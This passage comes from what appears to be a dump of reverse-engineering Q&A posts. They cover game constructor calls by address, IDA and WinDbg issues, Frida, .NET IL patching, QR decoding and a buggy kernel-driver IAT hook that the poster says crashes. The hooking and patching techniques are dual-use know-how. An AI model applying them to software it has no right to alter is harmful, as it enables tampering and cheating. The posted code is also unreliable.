+            (Game::GameConstructor)(AddressHelper::getInstance().GetBaseAddress() + 0x331b0 / (2 * sizeof(DWORD))),
+
+Now let's imagine I want an instance of the Game object. How do I get one as something like this +
Game gameObj = gameConstructor; 
+
+is not going to work as gameObj and gameConstructor have different type. Without reversing the constructor is there any way to call it (by address) and assign the reversed class instance to it? +And +
 namespace gladius {
+        struct Game {
+              using Game = Game * (__fastcall*) (Game* thisptr);
+              Game gameConstructor;
+
+doesn't work as a declaration as you can't declare type the same as the type of the class / structure and I don't know how to modify the above to keep it as a reference to the addressed method rather than a fully reversed function. +Basically the question is, how to do +
Game objInst = new Game();
+
+where new Game(); points to existing Game constructor (accessible by address offset)? +" +"['disassembly', 'binary-analysis', 'dynamic-analysis', 'libraries', 'call']"," Title: How to call a func in an executable binary?Body: I have a binary with a func that I can disassemble. What are simple ways for me to call it with arbitrary args and observe its return val and behavior? +Ideally, I'd like to do this: +
    +
  • Within gdb (or gdb-peda)
  • +
  • From C (ie linking to the executable as if its a lib)
  • +
  • Via Python scripts (I recall reading about a Python script to do this, but can't find it)
  • +
+I'm operating on Linux, but this question is relevant to other OS as well. +" +"['ida', 'assembly', 'decompilation', 'c']"," Title: Useless instructions in a compiled getterBody: This is the second time I see this kind of function today : +
.text:00000000000010B0 sub_10B0        proc near               ; CODE XREF: sub_1120:loc_1143↓p
+.text:00000000000010B0                 lea     rdi, byte_4418
+.text:00000000000010B7                 lea     rax, byte_4418
+.text:00000000000010BE                 cmp     rax, rdi
+.text:00000000000010C1                 jz      short locret_10D8
+.text:00000000000010C3                 mov     rax, cs:_ITM_deregisterTMCloneTable_ptr
+.text:00000000000010CA                 test    rax, rax
+.text:00000000000010CD                 jz      short locret_10D8
+.text:00000000000010CF                 jmp     rax
+.text:00000000000010CF ; ------------------------------------------------------------------
+.text:00000000000010D1                 align 8
+.text:00000000000010D8
+.text:00000000000010D8 locret_10D8:                            ; CODE XREF: sub_10B0+11↑j
+.text:00000000000010D8                                         ; sub_10B0+1D↑j
+.text:00000000000010D8                 retn
+.text:00000000000010D8 sub_10B0        endp
+
+As I understand, both jz are going to jump anyway, so the first jz is always going to jump to the ret. +Why isn't this function written more simply, just like a single return &byte_4418 ? +
lea     rax, byte_4418
+retn
+
+I hope my English is good enough to be understood. +Thank you, +Max +PS : I'm sorry, I don't know which compiler is used. +" +"['x86', 'c', 'ghidra', 'local-variables']"," Title: What is happening with this *param_1?Body: I am a bit of a starter, so bear with me as I can't find the answer through Google (a common thing in Ghidra work I noticed so far). +I have a function that seems to read like it is a Constructor. +But I am having trouble what it is doing, mainly because I think I don't understand the C language that well. +The code I am confused about is this: +The code as C: + +The code as ASM: + +Sorry for using screenshots, I couldn't get the ASM to reasonably copy and paste into here. +*param_1, is set to a specific address. What this * in front of the variable means, I can't really find besides people saying "You shouldn't do that in C code!" +What it then starts doing is nulling out some variables in an array or struct that param_1 apparently is now (going by the ASM, param_1 == ECX and so probably _this_?) the rest seems irrelevant for now. +What is at 0x497e68? It is an address, that then points towards another bit of code at 0x438170. And while this 0x497e68 address is references 4 times, all of them do so in a similar manner, and thus I never see a direct "CALL" to this indirect method. The method itself is simply calling _free on ECX. It's not special. +So what is going on here? Is there a reasonable explanation as to why this is happening? And what should I actually be reading here? +And if so, is there then a way I can convince Ghidra to present this in a more sensible way? +" +"['dynamic-analysis', 'instrumentation']"," Title: Dynamic instrumentation tool for injecting assemblyBody: I'm not sure about all tools. But afaik at least with Frida functions are patched and new code is added to other memory regions and then jumped to. The rest of the code layout stays the same. Is there any dynamic instrumentation tool which kind of shifts code. For example instead of jumping to a different region instructions are added before or after a function. Since this would shift addresses it won't work by default. You need to calculate new addresses. Can any tool handle that? +" +"['ida', 'idapython']"," Title: IDA Pro: unknown warningsBody: I am using IDA pro to analyze an old nginx binary. I am getting following warnings which I have never seen before. Does anyone have an idea about these warnings? +
IDA is analysing the input file...
+You may start to explore the input file right now.
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'statfs64': name is already used
+failed to add structure type 'statfs64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'statfs64': name is already used
+failed to add structure type 'statfs64': name is already used
+failed to add structure type 'statfs64': name is already used
+failed to add structure type 'statfs64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+failed to add structure type 'stat64': name is already used
+
+I can send you nginx binary if required. And the binary is compiled using a custom version of llvm. I am using IDA Pro 7.5 and an IDAPython script. +" +"['rop', 'pie']"," Title: How does PIE mitigate exploits?Body: I read a tutorial where they compiled with the -no-pie option. Is it because the .text segment will be loaded at a random address, therefore making the address of gadgets founds inside it useless ? +" +"['x64dbg', 'hexadecimal']"," Title: How to use decimal in x64dbg calculator?Body: The x64dbg calculator can evaluate hex expressions. + +Is there a syntax to calculate the sum of a hex value and a decimal value? For the example in the snapshot, is it possible to treat 10 as a decimal? The expected result is 939936F59A. If it can't, what's the most convenient tool to do this kind of calculation? +" +['pe']," Title: How to check for a valid PE file?Body: How can I check if a file is a valid PE file? What programs I should use for such a check? Can I use PEiD or DiE tool to check it? Also, do I need to unpack the sample prior to checking? +" +['law']," Title: Is it legal to publish details on how to reverse engineer a non commercial game?Body: Say I used a game engine and made a game (from scratch on my own). Further, I provide details on how to reverse engineer my game, including methods and details. +Two questions. +
    +
  1. Is it legal to do that?
  2. +
  3. Can I open my code and provide a use case of reverse engineering in games for educational purposes?
  4. +
+" +"['ida', 'c++', 'idapython', 'ida-plugin', 'vtables']"," Title: Analyze Arm Linux CPP binary in Ida ProBody: I tried to open CPP binary with Ida. Most of the code analyze well . +The problem is that there are lot of vtables(Ida doesn't recognize them as vtables) that I need to reach them manually and pressO (offset) so Ida will analyze the functions that all the fields in vtable point on them. +In addition,the first function in Vtable is constructor ,and in that constructor we can see the vtable that this vtable inherits from. +Ida didn't analyze the "father" vtable. +How can I fix this/or is there a script that do it as well to CPP Aem binary +" +"['windows', 'debugging', 'x86', 'windbg', 'kernel-mode']"," Title: Why windbg skips syscall on kernel mode?Body: I have a VM running windows with notepad open, I did list the modules with lm: +
start             end                 module name
+00007ffc`60fb0000 00007ffc`60fe2000   vertdll    (deferred)             
+00007ffc`60ff0000 00007ffc`611e5000   ntdll    # (pdb symbols)          C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\sym\ntdll.pdb\96EF4ED537402DAAA51D4A4212EA4B2C1\ntdll.pdb
+fffff5cc`05c00000 fffff5cc`05ed3000   win32kbase   (deferred)             
+fffff5cc`05f70000 fffff5cc`0600a000   win32k     (deferred)             
+fffff5cc`064c0000 fffff5cc`06877000   win32kfull   (deferred)             
+fffff5cc`06880000 fffff5cc`068c9000   cdd        (deferred)             
+fffff801`40600000 fffff801`4088f000   mcupdate_GenuineIntel   (deferred)             
+fffff801`40890000 fffff801`40896000   hal        (deferred)             
+fffff801`408a0000 fffff801`408ae000   kdcom      (deferred)             
+fffff801`408b0000 fffff801`408d7000   tm         (deferred)             
+fffff801`408e0000 fffff801`4094a000   CLFS       (deferred)             
+fffff801`40950000 fffff801`4096a000   PSHED      (deferred)             
+fffff801`40970000 fffff801`4097b000   BOOTVID    (deferred)             
+fffff801`40980000 fffff801`409ef000   FLTMGR     (deferred)             
+fffff801`409f0000 fffff801`409fe000   cmimcext   (deferred)             
+fffff801`40c00000 fffff801`40c7f000   cldflt     (deferred)             
+fffff801`40c80000 fffff801`40c9a000   storqosflt   (deferred)             
+fffff801`40ca0000 fffff801`40cc8000   bindflt    (deferred)             
+fffff801`40cd0000 fffff801`40ce8000   lltdio     (deferred)             
+fffff801`40cf0000 fffff801`40d08000   mslldp     (deferred)             
+fffff801`40d10000 fffff801`40d2b000   rspndr     (deferred)             
+fffff801`40d30000 fffff801`40d4d000   wanarp     (deferred)             
+fffff801`40d50000 fffff801`40da6000   msquic     (deferred)             
+fffff801`40db0000 fffff801`40f38000   HTTP       (deferred)             
+fffff801`40f40000 fffff801`40f65000   bowser     (deferred)             
+fffff801`40f70000 fffff801`40f8a000   mpsdrv     (deferred)             
+fffff801`40f90000 fffff801`41024000   mrxsmb     (deferred)             
+fffff801`41030000 fffff801`41076000   mrxsmb20   (deferred)             
+fffff801`41080000 fffff801`4108a000   vmmemctl   (deferred)             
+fffff801`41090000 fffff801`410e3000   srvnet     (deferred)             
+fffff801`410f0000 fffff801`41104000   mmcss      (deferred)             
+fffff801`41110000 fffff801`411d7000   srv2       (deferred)             
+fffff801`411e0000 fffff801`41207000   Ndu        (deferred)             
+fffff801`41210000 fffff801`412e6000   peauth     (deferred)             
+fffff801`412f0000 fffff801`41305000   tcpipreg   (deferred)             
+fffff801`41310000 fffff801`4132c000   rassstp    (deferred)             
+fffff801`41330000 fffff801`4134d000   NDProxy    (deferred)             
+fffff801`41350000 fffff801`4137b000   vmhgfs     (deferred)             
+fffff801`41380000 fffff801`413a7000   AgileVpn   (deferred)             
+fffff801`413b0000 fffff801`413d1000   rasl2tp    (deferred)             
+fffff801`413e0000 fffff801`41401000   raspptp    (deferred)             
+fffff801`41410000 fffff801`4142c000   raspppoe   (deferred)             
+fffff801`41430000 fffff801`41442000   condrv     (deferred)             
+fffff801`41450000 fffff801`4145f000   ndistapi   (deferred)             
+fffff801`41460000 fffff801`4149b000   ndiswan    (deferred)             
+fffff801`414a0000 fffff801`414b2000   WdNisDrv   (deferred)             
+fffff801`419a0000 fffff801`41a13000   dxgmms1    (deferred)             
+fffff801`41a20000 fffff801`41a3b000   monitor    (deferred)             
+fffff801`41a40000 fffff801`41b21000   dxgmms2    (deferred)             
+fffff801`41b30000 fffff801`41b59000   luafv      (deferred)             
+fffff801`41b60000 fffff801`41b96000   wcifs      (deferred)             
+fffff801`44a00000 fffff801`45a46000   nt         (pdb symbols)          C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\sym\ntkrnlmp.pdb\CA8E2F01B822EDE6357898BFBF8629971\ntkrnlmp.pdb
+fffff801`46000000 fffff801`46114000   clipsp     (deferred)             
+fffff801`46120000 fffff801`46149000   ksecdd     (deferred)             
+fffff801`46150000 fffff801`461b3000   msrpc      (deferred)             
+fffff801`461c0000 fffff801`461d1000   werkernel   (deferred)             
+fffff801`461e0000 fffff801`461ec000   ntosext    (deferred)             
+fffff801`461f0000 fffff801`462d4000   CI         (deferred)             
+fffff801`462e0000 fffff801`4639b000   cng        (deferred)             
+fffff801`463a0000 fffff801`46471000   Wdf01000   (deferred)             
+fffff801`46480000 fffff801`46493000   WDFLDR     (deferred)             
+fffff801`464a0000 fffff801`464af000   SleepStudyHelper   (deferred)             
+fffff801`464b0000 fffff801`464c1000   WppRecorder   (deferred)             
+fffff801`464d0000 fffff801`464f6000   acpiex     (deferred)             
+fffff801`46500000 fffff801`4654c000   mssecflt   (deferred)             
+fffff801`46550000 fffff801`4656a000   SgrmAgent   (deferred)             
+fffff801`46570000 fffff801`4663c000   ACPI       (deferred)             
+fffff801`46640000 fffff801`4664c000   WMILIB     (deferred)             
+fffff801`46650000 fffff801`46660000   WdBoot     (deferred)             
+fffff801`46670000 fffff801`466db000   intelpep   (deferred)             
+fffff801`466e0000 fffff801`466f7000   WindowsTrustedRT   (deferred)             
+fffff801`46700000 fffff801`4670b000   IntelTA    (deferred)             
+fffff801`46710000 fffff801`4671b000   WindowsTrustedRTProxy   (deferred)             
+fffff801`46720000 fffff801`46734000   pcw        (deferred)             
+fffff801`46740000 fffff801`4674b000   msisadrv   (deferred)             
+fffff801`46750000 fffff801`467c7000   pci        (deferred)             
+fffff801`467d0000 fffff801`467e5000   vdrvroot   (deferred)             
+fffff801`467f0000 fffff801`467fb000   intelide   (deferred)             
+fffff801`46800000 fffff801`46844000   ucx01000   (deferred)             
+fffff801`46850000 fffff801`4687f000   pdc        (deferred)             
+fffff801`46880000 fffff801`4689a000   CEA        (deferred)             
+fffff801`468a0000 fffff801`468d1000   partmgr    (deferred)             
+fffff801`468e0000 fffff801`4698a000   spaceport   (deferred)             
+fffff801`46990000 fffff801`469a3000   PCIIDEX    (deferred)             
+fffff801`469b0000 fffff801`469c9000   volmgr     (deferred)             
+fffff801`469d0000 fffff801`46a1f000   sdbus      (deferred)             
+fffff801`46a20000 fffff801`46a83000   volmgrx    (deferred)             
+fffff801`46a90000 fffff801`46aa8000   vsock      (deferred)             
+fffff801`46ab0000 fffff801`46acc000   vmci       (deferred)             
+fffff801`46ad0000 fffff801`46ae8000   urscx01000   (deferred)             
+fffff801`46af0000 fffff801`46b0e000   mountmgr   (deferred)             
+fffff801`46b10000 fffff801`46b2f000   lsi_sas    (deferred)             
+fffff801`46b30000 fffff801`46be3000   storport   (deferred)             
+fffff801`46bf0000 fffff801`46bfd000   atapi      (deferred)             
+fffff801`46c00000 fffff801`46c3c000   ataport    (deferred)             
+fffff801`46c40000 fffff801`46c72000   storahci   (deferred)             
+fffff801`46c80000 fffff801`46c9c000   EhStorClass   (deferred)             
+fffff801`46ca0000 fffff801`46cba000   fileinfo   (deferred)             
+fffff801`46cc0000 fffff801`46d00000   Wof        (deferred)             
+fffff801`46d10000 fffff801`46d6a000   WdFilter   (deferred)             
+fffff801`46d70000 fffff801`47048000   Ntfs       (deferred)             
+fffff801`47050000 fffff801`47083000   usbccgp    (deferred)             
+fffff801`47090000 fffff801`4709e000   USBD       (deferred)             
+fffff801`470a0000 fffff801`470ad000   urschipidea   (deferred)             
+fffff801`470b0000 fffff801`470ca000   usbehci    (deferred)             
+fffff801`470d0000 fffff801`47149000   USBPORT    (deferred)             
+fffff801`47150000 fffff801`471d5000   usbhub     (deferred)             
+fffff801`471e0000 fffff801`47283000   UsbHub3    (deferred)             
+fffff801`47290000 fffff801`4729d000   Fs_Rec     (deferred)             
+fffff801`472a0000 fffff801`47410000   ndis       (deferred)             
+fffff801`47420000 fffff801`474b8000   NETIO      (deferred)             
+fffff801`474c0000 fffff801`474f2000   ksecpkg    (deferred)             
+fffff801`47500000 fffff801`477eb000   tcpip      (deferred)             
+fffff801`477f0000 fffff801`4786f000   fwpkclnt   (deferred)             
+fffff801`47870000 fffff801`478a0000   wfplwfs    (deferred)             
+fffff801`478b0000 fffff801`47978000   fvevol     (deferred)             
+fffff801`47980000 fffff801`4798b000   volume     (deferred)             
+fffff801`47990000 fffff801`479fd000   volsnap    (deferred)             
+fffff801`47a00000 fffff801`47aa0000   USBXHCI    (deferred)             
+fffff801`47ab0000 fffff801`47ad5000   USBSTOR    (deferred)             
+fffff801`47ae0000 fffff801`47af8000   uaspstor   (deferred)             
+fffff801`47b00000 fffff801`47b1e000   sdstor     (deferred)             
+fffff801`47b20000 fffff801`47b70000   rdyboost   (deferred)             
+fffff801`47b80000 fffff801`47ba6000   mup        (deferred)             
+fffff801`47bb0000 fffff801`47bc2000   iorate     (deferred)             
+fffff801`47bd0000 fffff801`47be0000   hwpolicy   (deferred)             
+fffff801`47bf0000 fffff801`47c0c000   disk       (deferred)             
+fffff801`47c10000 fffff801`47c7d000   CLASSPNP   (deferred)             
+fffff801`48200000 fffff801`48215000   filecrypt   (deferred)             
+fffff801`48220000 fffff801`4822e000   tbs        (deferred)             
+fffff801`48230000 fffff801`4823a000   Null       (deferred)             
+fffff801`48240000 fffff801`4824a000   Beep       (deferred)             
+fffff801`48250000 fffff801`48260000   vmrawdsk   (deferred)             
+fffff801`48270000 fffff801`482cc000   udfs       (deferred)             
+fffff801`48300000 fffff801`4831e000   crashdmp   (deferred)             
+fffff801`48320000 fffff801`4833f000   dump_lsi_sas   (deferred)             
+fffff801`48360000 fffff801`4837d000   dump_dumpfve   (deferred)             
+fffff801`483c0000 fffff801`483f0000   cdrom      (deferred)             
+fffff801`48800000 fffff801`48810000   TDI        (deferred)             
+fffff801`48820000 fffff801`4882e000   ws2ifsl    (deferred)             
+fffff801`48830000 fffff801`4888c000   netbt      (deferred)             
+fffff801`48890000 fffff801`488a3000   afunix     (deferred)             
+fffff801`488b0000 fffff801`48956000   afd        (deferred)             
+fffff801`48960000 fffff801`48973000   npcap      (deferred)             
+fffff801`48980000 fffff801`4899a000   vwififlt   (deferred)             
+fffff801`489a0000 fffff801`489cb000   pacer      (deferred)             
+fffff801`489d0000 fffff801`489e4000   ndiscap    (deferred)             
+fffff801`489f0000 fffff801`48a04000   netbios    (deferred)             
+fffff801`48a10000 fffff801`48ab1000   Vid        (deferred)             
+fffff801`48ac0000 fffff801`48ae1000   winhvr     (deferred)             
+fffff801`48af0000 fffff801`48b6b000   rdbss      (deferred)             
+fffff801`48b70000 fffff801`48c07000   csc        (deferred)             
+fffff801`48c10000 fffff801`48c22000   nsiproxy   (deferred)             
+fffff801`48c30000 fffff801`48c3e000   npsvctrig   (deferred)             
+fffff801`48c40000 fffff801`48c50000   mssmbios   (deferred)             
+fffff801`48c60000 fffff801`48c6a000   gpuenergydrv   (deferred)             
+fffff801`48c70000 fffff801`48c9c000   dfsc       (deferred)             
+fffff801`48cc0000 fffff801`48d2c000   fastfat    (deferred)             
+fffff801`48d30000 fffff801`48d47000   bam        (deferred)             
+fffff801`48d50000 fffff801`48d9e000   ahcache    (deferred)             
+fffff801`48da0000 fffff801`48db2000   CompositeBus   (deferred)             
+fffff801`48dc0000 fffff801`48dcd000   kdnic      (deferred)             
+fffff801`48dd0000 fffff801`48de5000   umbus      (deferred)             
+fffff801`48df0000 fffff801`48e11000   i8042prt   (deferred)             
+fffff801`48e20000 fffff801`48e34000   kbdclass   (deferred)             
+fffff801`48e40000 fffff801`48e49000   vmmouse    (deferred)             
+fffff801`48e50000 fffff801`48e63000   mouclass   (deferred)             
+fffff801`48e70000 fffff801`48e8c000   serial     (deferred)             
+fffff801`48e90000 fffff801`48e9f000   serenum    (deferred)             
+fffff801`48ea0000 fffff801`48eaa000   vm3dmp_loader   (deferred)             
+fffff801`48eb0000 fffff801`48efb000   vm3dmp     (deferred)             
+fffff801`48f00000 fffff801`48f10000   usbuhci    (deferred)             
+fffff801`48f30000 fffff801`48f59000   HDAudBus   (deferred)             
+fffff801`48f60000 fffff801`48fc6000   portcls    (deferred)             
+fffff801`48fd0000 fffff801`48ff1000   drmk       (deferred)             
+fffff801`49000000 fffff801`49076000   ks         (deferred)             
+fffff801`49090000 fffff801`4911e000   e1i65x64   (deferred)             
+fffff801`49130000 fffff801`4913b000   vmgencounter   (deferred)             
+fffff801`49140000 fffff801`4914f000   CmBatt     (deferred)             
+fffff801`49150000 fffff801`49160000   BATTC      (deferred)             
+fffff801`49170000 fffff801`491b0000   intelppm   (deferred)             
+fffff801`491c0000 fffff801`491cd000   NdisVirtualBus   (deferred)             
+fffff801`491d0000 fffff801`491dc000   swenum     (deferred)             
+fffff801`491e0000 fffff801`491ee000   rdpbus     (deferred)             
+fffff801`491f0000 fffff801`491fe000   USBPcap    (deferred)             
+fffff801`49200000 fffff801`4926f000   HdAudio    (deferred)             
+fffff801`49270000 fffff801`4927f000   ksthunk    (deferred)             
+fffff801`49280000 fffff801`49292000   hidusb     (deferred)             
+fffff801`492a0000 fffff801`492df000   HIDCLASS   (deferred)             
+fffff801`492e0000 fffff801`492f3000   HIDPARSE   (deferred)             
+fffff801`49300000 fffff801`49310000   mouhid     (deferred)             
+fffff801`49320000 fffff801`49329000   vmusbmouse   (deferred)             
+fffff801`49340000 fffff801`4934e000   dump_diskdump   (deferred)             
+fffff801`49350000 fffff801`496fa000   dxgkrnl    (deferred)             
+fffff801`49700000 fffff801`49718000   watchdog   (deferred)             
+fffff801`49720000 fffff801`49736000   BasicDisplay   (deferred)             
+fffff801`49740000 fffff801`49751000   BasicRender   (deferred)             
+fffff801`49760000 fffff801`4977c000   Npfs       (deferred)             
+fffff801`49780000 fffff801`49791000   Msfs       (deferred)             
+fffff801`497a0000 fffff801`497be000   CimFS      (deferred)             
+fffff801`497c0000 fffff801`497e2000   tdx        (deferred)  
+
+I then change the context to the process with .process /i ffffd88c774b70c0 and set a breakpoint on ntdll!ntcreatefile +Problem is, I wanted to step INTO syscall but upon pressing p windbg executes it without stepping into it, what gives? I'm running running a kernel debugger and debugging a VM, so I should be able to do this, what's the problem here? +" +['ida']," Title: How to make a screenshot of a graph view in IDA on Windows?Body: Trying to save a big graph(the default graph view of assembly instructions in IDA after you press space in text view while viewing instructions of a function) as an image. +Googled this article: Converting IDA Pro graphs to images, it tells to use graph-easy for Linux, and saw this question: Saving IDA graphs as image. The only answer suggests to use graph-easy for Linux. I'm on Windows. How to convert the graph to an image on Windows 10? +I googled how to convert gdl to image, too, and there's some ArchiCAD software for $3000 or something, and it looks like it's some big program for modeling or whatever. Then there's this online tool which doesn't work: https://fileproinfo.com/tools/viewer/gdl . Says the preview doesn't work. There's also: Stanford Microarray Database GDL Data . Their site is dead. +Please help. +" +"['assembly', 'pe']"," Title: What is the data on the start of .rdata segment?Body: I've been doing some reverse engineering lately trying to improve my skills and came across the following bytes on the start of .rdata segment. +Filename: C:/cygwin64/bin/xkbcomp.exe +Bytes: +
70 D3 FD FF 50 D3 FD FF  28 D3 FD FF 00 D3 FD FF
+E0 D2 FD FF B8 D2 FD FF  90 D2 FD FF 68 D2 FD FF
+48 D2 FD FF 30 D2 FD FF  18 D2 FD FF F8 D1 FD FF
+D0 D1 FD FF B0 D1 FD FF  90 D1 FD FF 78 D1 FD FF
+58 D1 FD FF 30 D1 FD FF  08 D1 FD FF F0 D0 FD FF
+D0 D0 FD FF B0 D0 FD FF  A0 D3 FD FF 00 00 00 00
+56 61 6C 75 65 20 6F 66  20 25 73 20 66 69 65 6C
+64 20 6D 75 73 74 20 62  65 20 6F 66 20 74 79 70
+
+Note: There had been other DLL files that contained similar data. +As you may have noticed, the ASCII characters start on line 7 after 4 null bytes. As per my knowledge, .rdata segment is meant to contain read-only data, but the initial number of bytes makes no sense to me. +Can anyone tell me what this is, and why is it there? +" +['frida']," Title: Write to file with Frida instead write to console.logBody: With Frida, I know how to write to console.log like: +
console.log('TARGETED_METHOD_CALLED');
+
+But how can I write to a file? +" +['encodings']," Title: QR-Codes of Temial-TeamachineBody: I have a tea-machine that reads QR-Codes and brews the tea accordingly. I want to generate my own codes. +I have the following codes (and more): + +Copy/Paste of the C-Column +
L7UMQRQCQAZBD
+OYXPVAANAB4ZE
+K4BCLQEFABBRE
+F5IKJLYGABSJE
+
+I tried a few different decoding mechanisms, but I didn't get any readings that would make sense to me. +I expect to get numbers for the time and temperature brewing. The name of tee. The number of times the same tee can be used to brew… +Edit: +All the codes as text: +
VORWERK2AE4L7UMQRQCQAZBDERMYRTHWFKD7CM7PKMBOVEAUNE5WNISNWAIZT74WOLVSSHNSRUIHUWGKFUWKTNXXKI
+VORWERK2AE4OYXPVAANAB4ZEER3V2QO4WL6DZGBPBIJWY3AOLKJRXNICEWXVGO6CEKNCKJHFPUPTB3R3EG5YTFTQQE
+VORWERK2AE4K4BCLQEFABBREESWJ5KYBTINVAZWZ4SQ5AQUWFAZO3UPYAKOLO2HRIJNFNGXENAW3QU5IXRSKO5BFMI
+VORWERK2AE4F5IKJLYGABSJEETKQTQVEY73L4SOLWW5P5NLB355G6BVHINON755S6ADUEBXUV3AFW2JQOWGCHT6CME
+
+" +"['android', 'arm', 'arm64']"," Title: android index.android.bundle fileBody: I downloaded an app from Raccoon. +I got these files: +
com.company.name-3423.apk
+config.ar-3423.apk
+config.armeabi_v7a-3423.apk
+config.en-3423.apk
+config.iw-3423.apk
+config.ru-3423.apk
+config.xhdpi-3423.apk
+
+I used apktool to get the smali code from com.company.name-3423.apk. +I searched for a string that I saw in the app's UI. I found it only in the index.android.bundle file. +
    +
  1. Are the apk files I downloaded part of an AAB file? If so, how do I build an AAB file from them?
  2. +
+2 - what is the index.android.bundle file? Is there a way to make it more readable so I can edit it and sign the app again? +" +"['ida', 'memory', 'dynamic-analysis', 'address', 'frida']"," Title: calculate memory address from IDA to use with FridaBody: I saw an interesting value in IDA at address 0xf8766; I want to view the value at that address. +I debug an Android application with Frida, how can I put this address in Frida to watch this value? +I know that I need to use Memory.readByteArray(ptr(0xXXXXX), 8), but what will be the correct address? +Should I read /proc/PID/maps to see the first address and then add this address to the address that I want to see? The first address is anon:dalvik-main space (region space) +" +"['c++', 'function-hooking', 'kernel-mode', 'driver', 'iat']"," Title: IAT Hook via Kernel DriverBody: I've wrote a kernel driver recently and it does multiple things, but I wanted to add a IAT hook for a certain driver. +I want to hook the IAT of another driver from my driver if that makes sense. +So I understand your typical IAT hook is done via DLL injection so you're within the same address space as said module. +The main question I'm having is can someone give an example of IAT hooking a kernel driver via a kernel driver? I can't figure it out. +I've been using multiple examples of regular IAT hooking via dll injection but applying it to the Kernel driver instead. +Expected outcome: Driver1.sys (does the IAT hook) parses the import table of Driver2.sys and replaces the function "DbgPrintEx" import with a function located in Driver1.sys aka accomplishing an IAT hook. +Here is what I wrote / referenced: +
NTSTATUS _HOOKS_::HookFn(PVOID ModuleBase, const char* FunctionName, uintptr_t HookFunc, uintptr_t* OrigFunc) {
+
+IMAGE_DOS_HEADER DosHeader{ 0 };
+memcpy(&DosHeader, ModuleBase, sizeof(IMAGE_DOS_HEADER));
+
+IMAGE_NT_HEADERS NtHeaders{ 0 };
+memcpy(&NtHeaders, (PVOID)((uintptr_t)ModuleBase + DosHeader.e_lfanew), sizeof(IMAGE_NT_HEADERS));
+
+IMAGE_IMPORT_DESCRIPTOR ImportDescriptor{ 0 };
+IMAGE_DATA_DIRECTORY ImportsDirectory = NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
+
+memcpy(&ImportDescriptor, (PVOID)((uintptr_t)ModuleBase + ImportsDirectory.VirtualAddress), sizeof(ImportDescriptor));
+
+LPCSTR LibraryName = NULL;
+PVOID Library = NULL;
+IMAGE_IMPORT_BY_NAME FunctionNamee{ 0 };
+
+while (ImportDescriptor.Name != NULL) {
+    memcpy(&LibraryName, &ImportDescriptor.Name + (uintptr_t)ModuleBase, sizeof(LibraryName));
+
+    IMAGE_THUNK_DATA OriginalFirstThunk{ 0 }, firstThunk{ 0 };
+    memcpy(&OriginalFirstThunk, (PVOID)(ImportDescriptor.OriginalFirstThunk + (uintptr_t)ModuleBase), sizeof(IMAGE_THUNK_DATA));
+    memcpy(&firstThunk, (PVOID)(ImportDescriptor.FirstThunk + (uintptr_t)ModuleBase), sizeof(IMAGE_THUNK_DATA));
+
+    while (OriginalFirstThunk.u1.AddressOfData != NULL) {
+
+        memcpy(&FunctionNamee, (PVOID)(OriginalFirstThunk.u1.AddressOfData + (uintptr_t)ModuleBase), sizeof(IMAGE_IMPORT_BY_NAME));
+
+        Log::Debug("First function name -> %s\n", FunctionNamee);
+
+        if (!strcmp(FunctionNamee.Name, FunctionName)) {
+            Log::Debug("FOUND FUNCTION!!! Address -> %p\n", firstThunk.u1.Function);
+        }
+    }
+}
+
+
+return STATUS_SUCCESS;
+
+This code BSOD's on: memcpy(&ImportDescriptor, (PVOID)((uintptr_t)ModuleBase + ImportsDirectory.VirtualAddress), sizeof(ImportDescriptor)); +Correct me if I'm wrong but since kernel drivers share the same address space I can just simply use memcpy or RtlCopyMemory to obtain the structs needed for this hook, does anyone have any references or some sort of documentation I can read? +Thanks to all in advance! +extra info: +
    +
  • Windows 10
  • +
  • Using VMWare for testing
  • +
  • I'm testing the hook on my own driver
  • +
+EDIT: Posted the faulting source line that causes BSOD. +Upon debugging via WinDbg(x64), the driver obtains all the addresses correctly comparing them to memory view. Except ImportDescriptor gets an RVA of 0x6000, when inspecting ModuleBase + 0x6000 for the RVA it shows that this memory region is invalid, so I believe that the 0x6000 RVA is incorrect and I'm not sure why +BUG CHECK CODES: +
    +
  • BSOD Error Code: PAGE_FAULT_IN_NONPAGED_AREA
  • +
  • BUG Check Code: 50
  • +
+" +"['ida', 'patching']"," Title: Change global variable value in IDABody: I have a global variable stored in the data section: +
data:00007FF7DDBF78E4 00 00 00 00          dword_7FF7DDBF78E4 dd 0  
+
+Is there a way to change its value? +" +"['.net', 'decompiler']"," Title: Patch .net executable via hex editorBody: What I am trying to do: +I have an .exe written in C#. Ilspy shows the code. Inside it has a class DoWork with static field SomeValue: +
// Program.DoWork
+public static int SomeValue => 15;
+
+In code, however, it's not a field but a getter function: +
// return 15;
+IL_0000: ldc.i4.s 15
+IL_0002: ret
+
+and I want to modify this function to return 127 instead. I've found the location of the function inside .exe binary dump: +
0x123456  1f 0f 2a
+
+I've modified .exe in HxD editor so new binary dump has this: +
0x123456  1f 7f 2a
+
+When I open modified .exe with Ilspy it shows: +
// Program.DoWork
+public static int SomeValue => 127;
+
+So all seems well, but it doesn't work. The modified .exe still runs as if SomeValue is 15. +Questions: +
    +
  1. Is this a valid approach to modifying .net assembly?
  2. +
  3. If yes, what am I missing?
  4. +
